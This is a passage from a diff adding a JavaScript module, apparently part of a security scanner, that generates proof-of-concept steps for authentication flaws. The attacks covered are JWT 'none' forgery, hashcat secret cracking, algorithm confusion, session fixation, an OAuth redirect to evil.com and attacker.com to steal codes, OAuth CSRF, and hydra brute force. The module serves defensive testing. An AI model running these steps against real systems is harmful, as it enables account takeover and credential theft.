+ if (file.relativePath.includes("config") || file.relativePath.includes(".env")) {
360
+ confidence -= 10;
361
+ }
362
+ return Math.min(95, Math.max(50, confidence));
363
+ }
364
+ function redactSensitive(text) {
365
+ // Redact potential secrets while keeping context
366
+ return text
367
+ .replace(/(['"])[a-zA-Z0-9_\-/+=]{20,}(['"])/g, "$1[REDACTED]$2")
368
+ .replace(/:\/\/[^:]+:[^@]+@/g, "://[USER]:[PASS]@");
369
+ }
370
+ function getMitreIds(patternId) {
371
+ const mapping = {
372
+ "jwt-none-algorithm": ["T1078", "T1556"],
373
+ "jwt-weak-secret": ["T1552", "T1078"],
374
+ "session-no-regenerate": ["T1539", "T1550"],
375
+ "oauth-open-redirect": ["T1078", "T1566"],
376
+ "hardcoded-password": ["T1552", "T1078"],
377
+ "login-no-rate-limit": ["T1110"],
378
+ };
379
+ return mapping[patternId] || ["T1078"];
380
+ }
381
+ function getSuggestedFix(patternId) {
382
+ const fixes = {
383
+ "jwt-none-algorithm": "Explicitly specify allowed algorithms in verification options: algorithms: ['RS256']",
384
+ "jwt-weak-secret": "Use a cryptographically strong secret (256+ bits) stored in environment variables",
385
+ "jwt-hs256-public-key": "Use asymmetric algorithms (RS256) and validate algorithm in verification",
386
+ "jwt-no-expiry": "Always set token expiration: jwt.sign(payload, secret, { expiresIn: '1h' })",
387
+ "session-no-regenerate": "Regenerate session ID after authentication: req.session.regenerate()",
388
+ "session-insecure-cookie": "Set secure cookie options: { httpOnly: true, secure: true, sameSite: 'strict' }",
389
+ "oauth-open-redirect": "Whitelist allowed redirect URIs and validate against exact match",
390
+ "oauth-no-state": "Generate cryptographically random state parameter and validate on callback",
391
+ "hardcoded-password": "Move credentials to environment variables or secrets manager",
392
+ "login-no-rate-limit": "Implement rate limiting: express-rate-limit or similar middleware",
393
+ "mfa-bypass": "Ensure MFA check cannot be skipped through any code path",
394
+ };
395
+ return fixes[patternId] || "Review authentication implementation for security best practices";
396
+ }
397
+ // ============================================================================
398
+ // PoC Generators
399
+ // ============================================================================
400
+ function jwtNoneAlgorithmPoC(finding) {
401
+ const steps = [
402
+ {
403
+ order: 1,
404
+ action: "capture-token",
405
+ description: "Capture a valid JWT from the application",
406
+ command: "Authenticate and capture the JWT from response/cookies",
407
+ expectedResult: "Valid JWT token captured",
408
+ },
409
+ {
410
+ order: 2,
411
+ action: "decode-token",
412
+ description: "Decode the JWT to examine its structure",
413
+ command: "echo '<token>' | cut -d'.' -f1,2 | base64 -d",
414
+ expectedResult: "JWT header and payload visible",
415
+ },
416
+ {
417
+ order: 3,
418
+ action: "modify-header",
419
+ description: "Change algorithm to 'none' and modify claims",
420
+ command: "Modify header to {\"alg\":\"none\",\"typ\":\"JWT\"}, change user to admin",
421
+ expectedResult: "Modified JWT ready",
422
+ },
423
+ {
424
+ order: 4,
425
+ action: "use-token",
426
+ description: "Use the modified token without signature",
427
+ command: "curl -H 'Authorization: Bearer <modified_token>.' https://target/api/admin",
428
+ expectedResult: "Access granted with modified claims",
429
+ },
430
+ ];
431
+ return {
432
+ id: `poc-${finding.id}`,
433
+ findingId: finding.id,
434
+ prerequisites: ["Valid user account", "Ability to capture JWT"],
435
+ steps,
436
+ payload: '{"alg":"none","typ":"JWT"}',
437
+ expectedResult: "Authentication bypass via algorithm manipulation",
438
+ safeTestInstructions: "Test on development environment. Verify the application properly rejects 'none' algorithm after fix.",
439
+ };
440
+ }
441
+ function jwtWeakSecretPoC(finding) {
442
+ const steps = [
443
+ {
444
+ order: 1,
445
+ action: "capture-token",
446
+ description: "Capture a valid JWT",
447
+ command: "Authenticate and capture JWT",
448
+ expectedResult: "Valid JWT captured",
449
+ },
450
+ {
451
+ order: 2,
452
+ action: "crack-secret",
453
+ description: "Attempt to crack the JWT secret",
454
+ command: "hashcat -a 0 -m 16500 jwt.txt wordlist.txt",
455
+ expectedResult: "Secret key revealed if weak",
456
+ },
457
+ {
458
+ order: 3,
459
+ action: "forge-token",
460
+ description: "Forge a new token with cracked secret",
461
+ command: "jwt.sign({ sub: 'admin', role: 'admin' }, 'cracked_secret')",
462
+ expectedResult: "Forged admin token",
463
+ },
464
+ ];
465
+ return {
466
+ id: `poc-${finding.id}`,
467
+ findingId: finding.id,
468
+ prerequisites: ["Valid JWT to crack", "Hashcat or similar tool"],
469
+ steps,
470
+ payload: "jwt.sign(adminPayload, crackedSecret)",
471
+ expectedResult: "Privilege escalation via forged token",
472
+ safeTestInstructions: "Use offline cracking only. Test forged tokens on isolated environment.",
473
+ };
474
+ }
475
+ function jwtAlgorithmConfusionPoC(finding) {
476
+ const steps = [
477
+ {
478
+ order: 1,
479
+ action: "obtain-public-key",
480
+ description: "Obtain the server's public key",
481
+ command: "curl https://target/.well-known/jwks.json",
482
+ expectedResult: "Public key obtained",
483
+ },
484
+ {
485
+ order: 2,
486
+ action: "forge-token",
487
+ description: "Sign token with public key using HS256",
488
+ command: "jwt.sign(payload, publicKey, { algorithm: 'HS256' })",
489
+ expectedResult: "Token signed with public key as HMAC secret",
490
+ },
491
+ {
492
+ order: 3,
493
+ action: "use-token",
494
+ description: "Use forged token",
495
+ command: "curl -H 'Authorization: Bearer <forged>' https://target/api",
496
+ expectedResult: "Server validates with public key as HMAC secret",
497
+ },
498
+ ];
499
+ return {
500
+ id: `poc-${finding.id}`,
501
+ findingId: finding.id,
502
+ prerequisites: ["Access to public key", "Knowledge of expected claims"],
503
+ steps,
504
+ payload: "jwt.sign(claims, publicKey, { algorithm: 'HS256' })",
505
+ expectedResult: "Authentication bypass via algorithm confusion",
506
+ safeTestInstructions: "Test on isolated environment. Verify fix explicitly validates algorithm.",
507
+ };
508
+ }
509
+ function sessionFixationPoC(finding) {
510
+ const steps = [
511
+ {
512
+ order: 1,
513
+ action: "obtain-session",
514
+ description: "Obtain a session ID from the application",
515
+ command: "curl -c cookies.txt https://target/",
516
+ expectedResult: "Session ID captured",
517
+ },
518
+ {
519
+ order: 2,
520
+ action: "set-victim-session",
521
+ description: "Set victim's session to attacker's session ID",
522
+ command: "Send victim link with session parameter or set cookie via XSS",
523
+ expectedResult: "Victim uses attacker's session",
524
+ },
525
+ {
526
+ order: 3,
527
+ action: "wait-for-auth",
528
+ description: "Wait for victim to authenticate",
529
+ expectedResult: "Victim logs in with attacker's session ID",
530
+ },
531
+ {
532
+ order: 4,
533
+ action: "hijack-session",
534
+ description: "Use the now-authenticated session",
535
+ command: "curl -b 'sessionId=<attacker_session>' https://target/dashboard",
536
+ expectedResult: "Access victim's authenticated session",
537
+ },
538
+ ];
539
+ return {
540
+ id: `poc-${finding.id}`,
541
+ findingId: finding.id,
542
+ prerequisites: ["Ability to set victim's session cookie", "Victim interaction"],
543
+ steps,
544
+ payload: "sessionId=attacker_controlled_session",
545
+ expectedResult: "Session hijacking after victim authentication",
546
+ safeTestInstructions: "Test with two test accounts. Never involve real user sessions.",
547
+ };
548
+ }
549
+ function oauthRedirectPoC(finding) {
550
+ const steps = [
551
+ {
552
+ order: 1,
553
+ action: "identify-redirect",
554
+ description: "Identify the redirect URI parameter",
555
+ command: "Examine OAuth authorization URL",
556
+ expectedResult: "redirect_uri parameter identified",
557
+ },
558
+ {
559
+ order: 2,
560
+ action: "craft-redirect",
561
+ description: "Craft malicious redirect URI",
562
+ command: "Modify redirect_uri to attacker-controlled domain",
563
+ expectedResult: "Malicious authorization URL ready",
564
+ },
565
+ {
566
+ order: 3,
567
+ action: "phish-victim",
568
+ description: "Send malicious link to victim",
569
+ command: "https://target/oauth/authorize?redirect_uri=https://evil.com/callback",
570
+ expectedResult: "Victim redirected to attacker site with auth code",
571
+ },
572
+ ];
573
+ return {
574
+ id: `poc-${finding.id}`,
575
+ findingId: finding.id,
576
+ prerequisites: ["Understanding of OAuth flow", "Attacker-controlled domain"],
577
+ steps,
578
+ payload: "redirect_uri=https://attacker.com/steal",
579
+ expectedResult: "OAuth token/code stolen via redirect",
580
+ safeTestInstructions: "Use controlled test accounts. Never redirect real user tokens.",
581
+ };
582
+ }
583
+ function oauthCsrfPoC(finding) {
584
+ const steps = [
585
+ {
586
+ order: 1,
587
+ action: "verify-missing-state",
588
+ description: "Verify state parameter is not validated",
589
+ command: "Complete OAuth flow without state parameter",
590
+ expectedResult: "OAuth succeeds without state validation",
591
+ },
592
+ {
593
+ order: 2,
594
+ action: "link-attacker-account",
595
+ description: "Force victim to link attacker's OAuth account",
596
+ command: "<img src='https://target/oauth/callback?code=attacker_code'>",
597
+ expectedResult: "Victim's account linked to attacker's OAuth",
598
+ },
599
+ ];
600
+ return {
601
+ id: `poc-${finding.id}`,
602
+ findingId: finding.id,
603
+ prerequisites: ["OAuth integration", "Ability to serve content to victim"],
604
+ steps,
605
+ payload: "<img src='https://target/oauth/callback?code=ATTACKER_CODE'>",
606
+ expectedResult: "Account hijacking via OAuth CSRF",
607
+ safeTestInstructions: "Test with controlled accounts only.",
608
+ };
609
+ }
610
+ function hardcodedCredsPoC(finding) {
611
+ const steps = [
612
+ {
613
+ order: 1,
614
+ action: "extract-creds",
615
+ description: "Extract credentials from source code",
616
+ command: `grep -n "password" ${finding.file}`,
617
+ expectedResult: "Credentials visible in source",
618
+ },
619
+ {
620
+ order: 2,
621
+ action: "use-creds",
622
+ description: "Attempt to authenticate with extracted credentials",
623
+ command: "Use credentials at application login or service endpoint",
624
+ expectedResult: "Authentication successful",
625
+ },
626
+ ];
627
+ return {
628
+ id: `poc-${finding.id}`,
629
+ findingId: finding.id,
630
+ prerequisites: ["Access to source code"],
631
+ steps,
632
+ payload: "[EXTRACTED_CREDENTIALS]",
633
+ expectedResult: "Unauthorized access using hardcoded credentials",
634
+ safeTestInstructions: "Report finding immediately. Do not use credentials on production systems.",
635
+ };
636
+ }
637
+ function bruteForcePoC(finding) {
638
+ const steps = [
639
+ {
640
+ order: 1,
641
+ action: "identify-endpoint",
642
+ description: "Identify the authentication endpoint",
643
+ command: "Examine login form or API endpoint",
644
+ expectedResult: "Endpoint identified",
645
+ },
646
+ {
647
+ order: 2,
648
+ action: "test-rate-limit",
649
+ description: "Test for rate limiting",
650
+ command: "for i in {1..100}; do curl -X POST https://target/login -d 'user=test&pass=wrong$i'; done",
651
+ expectedResult: "Requests not blocked after multiple failures",
652
+ },
653
+ {
654
+ order: 3,
655
+ action: "brute-force",
656
+ description: "Perform credential stuffing or brute force",
657
+ command: "hydra -l admin -P wordlist.txt https://target/login",
658
+ expectedResult: "Valid credentials discovered",
659
+ },
660
+ ];
661
+ return {
662
+ id: `poc-${finding.id}`,
663
+ findingId: finding.id,
664
+ prerequisites: ["Username enumeration or known usernames", "Password wordlist"],
665
+ steps,
666
+ payload: "hydra -l admin -P passwords.txt target http-post-form",
667
+ expectedResult: "Credentials compromised via brute force",
668
+ safeTestInstructions: "Test on isolated environment with test accounts. Never brute force production systems.",
669
+ };
670
+ }
671
+ // ============================================================================
672
+ // Register Tactic
673
+ // ============================================================================
674
+ registerTactic(authTactic);
675
+ export { authTactic };
676
+ //# sourceMappingURL=auth.js.map